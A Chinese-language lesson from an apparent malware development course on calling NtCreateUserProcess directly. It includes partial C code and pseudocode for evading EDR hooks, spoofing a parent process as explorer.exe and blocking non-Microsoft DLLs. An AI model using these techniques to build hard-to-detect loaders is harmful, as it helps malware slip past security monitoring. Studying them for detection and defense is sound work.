模块 91 - 深入 NtCreateUserProcess
恶意软件开发课程 - 深入 NtCreateUserProcess
模块 91 - 深入 NtCreateUserProcess#
深入 NtCreateUserProcess#
简介#
在课程的这一步之前,我们一直利用 CreateProcess WinAPI 来创建新进程。然而,值得注意的是,CreateProcess 函数在执行多个内部函数后,最终会调用 NtCreateUserProcess ↗。这些中间函数都可能被安全供应商挂钩。因此,为了绕过可能存在的挂钩,我们有必要通过直接或间接系统调用来直接调用它。
下图来自 Windows Internals 第 7 版 - 第 1 部分 ↗ 一书,展示了 CreateProcess 的执行流程。请注意,虚线框标记的函数是内部函数。

NtCreateUserProcess 是最后的用户模式可访问函数,代表了在进入内核模式之前 CreateProcess 可以到达的最低级别。
NtCreateUserProcess 参数#
NtCreateUserProcess 是一个高度可定制的函数,拥有多个参数并执行复杂的操作。
NTSTATUS NTAPI NtCreateUserProcess(
OUT PHANDLE ProcessHandle,
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK ProcessDesiredAccess,
IN ACCESS_MASK ThreadDesiredAccess,
IN OPTIONAL POBJECT_ATTRIBUTES ProcessObjectAttributes,
IN OPTIONAL POBJECT_ATTRIBUTES ThreadObjectAttributes,
IN ULONG ProcessFlags, // PROCESS_CREATE_FLAGS_*
IN ULONG ThreadFlags, // THREAD_CREATE_FLAGS_*
IN OPTIONAL PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
IN OUT PPS_CREATE_INFO CreateInfo,
IN PPS_ATTRIBUTE_LIST AttributeList
);c关键参数解析:
- AttributeList:这是一个指向 PS_ATTRIBUTE_LIST ↗ 结构体的指针。这个参数的目的是设置已创建进程和线程的属性。还记得吗?这正是实现 PPID 欺骗 和 Block DLL 策略 所需的属性。值得注意的是,连进程名称(Image Path)也是作为属性通过这个参数传递的。
PS_ATTRIBUTE_LIST AttributeList#
如上所述,NtCreateUserProcess 的最后一个参数是指向 PS_ATTRIBUTE_LIST 结构体的指针。
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;c我们需要初始化的属性包括:
PS_ATTRIBUTE_IMAGE_NAME: 指定新进程的映像名称(路径)。这是必须的。PS_ATTRIBUTE_PARENT_PROCESS: 指定父进程(用于 PPID 欺骗)。PS_ATTRIBUTE_MITIGATION_OPTIONS: 指定缓解选项(用于 Block DLL)。
初始化 RTL_USER_PROCESS_PARAMETERS#
为了初始化 RTL_USER_PROCESS_PARAMETERS 结构体,我们需要使用 RtlCreateProcessParametersEx ↗ 原生函数。这个结构体定义了进程的启动参数,如命令行、当前目录、环境变量等。
RtlCreateProcessParametersEx(
OUT PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
IN PUNICODE_STRING ImagePathName,
IN OPTIONAL PUNICODE_STRING DllPath, // set to NULL
IN OPTIONAL PUNICODE_STRING CurrentDirectory,
IN OPTIONAL PUNICODE_STRING CommandLine,
// ...
IN ULONG Flags
);c使用 NtCreateUserProcess 创建进程#
现在我们通过自定义函数 NtCreateUserProcessMinimalPoC 来演示如何使用该函数创建一个最基础的进程。
BOOL NtCreateUserProcessMinimalPoC(
IN PWSTR szTargetProcess,
IN PWSTR szTargetProcessParameters,
IN PWSTR szTargetProcessPath,
OUT PHANDLE hProcess,
OUT PHANDLE hThread
) {
// ... 获取函数地址 ...
// 1. 准备参数结构体
_RtlInitUnicodeString(&UsNtImagePath, szTargetProcess);
_RtlInitUnicodeString(&UsCommandLine, szTargetProcessParameters);
_RtlInitUnicodeString(&UsCurrentDirectory, szTargetProcessPath);
// 2. 调用 RtlCreateProcessParametersEx
STATUS = RtlCreateProcessParametersEx(&UppProcessParameters, &UsNtImagePath, NULL, &UsCurrentDirectory, &UsCommandLine, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED);
// 3. 准备 Attribute List
// 必须包含 PS_ATTRIBUTE_IMAGE_NAME
pAttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST);
pAttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
pAttributeList->Attributes[0].Size = UsNtImagePath.Length;
pAttributeList->Attributes[0].Value = (ULONG_PTR)UsNtImagePath.Buffer;
// 4. 准备 CreateInfo
PS_CREATE_INFO psCreateInfo = {
.Size = sizeof(PS_CREATE_INFO),
.State = PsCreateInitialState
};
// 5. 调用 NtCreateUserProcess
STATUS = NtCreateUserProcess(hProcess, hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, UppProcessParameters, &psCreateInfo, pAttributeList);
// ...
}c实现 PPID 欺骗 + Block DLL#
本模块最精彩的部分在于,既然我们直接控制了 NtCreateUserProcess,我们就可以随意组合各种属性。
通过将 PS_ATTRIBUTE_LIST 的大小增加到包含 3 个属性,我们可以同时实现:
PS_ATTRIBUTE_IMAGE_NAME: 设置目标为RuntimeBroker.exe。PS_ATTRIBUTE_PARENT_PROCESS: 设置父进程为explorer.exe(PPID Spoofing)。PS_ATTRIBUTE_MITIGATION_OPTIONS: 开启 Block Non-Microsoft Binaries (Block DLL)。
所有这些操作都是通过单个 syscall 完成的,这使得它不仅隐蔽,而且原子化(Atomic)——即这一系列保护措施是在进程创建的瞬间生效的,中间没有时间差供 EDR 利用。
// 伪代码: 初始化 3 个属性
pAttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
// ...
pAttributeList->Attributes[1].Attribute = PS_ATTRIBUTE_PARENT_PROCESS;
pAttributeList->Attributes[1].Value = hParentProcess;
// ...
pAttributeList->Attributes[2].Attribute = PS_ATTRIBUTE_MITIGATION_OPTIONS;
pAttributeList->Attributes[2].Value = &dwBlockDllPolicy;c总结#
NtCreateUserProcess 是进程创建的皇冠上的明珠。掌握它可以让你绕过绝大多数挂钩在 CreateProcess 层的监控,并且能够灵活地组合各种高级 Evasive(规避)特性。结合之前学到的直接/间接系统调用技术(Hell’s Gate / HellsHall),你可以构建出极难被检测的加载器。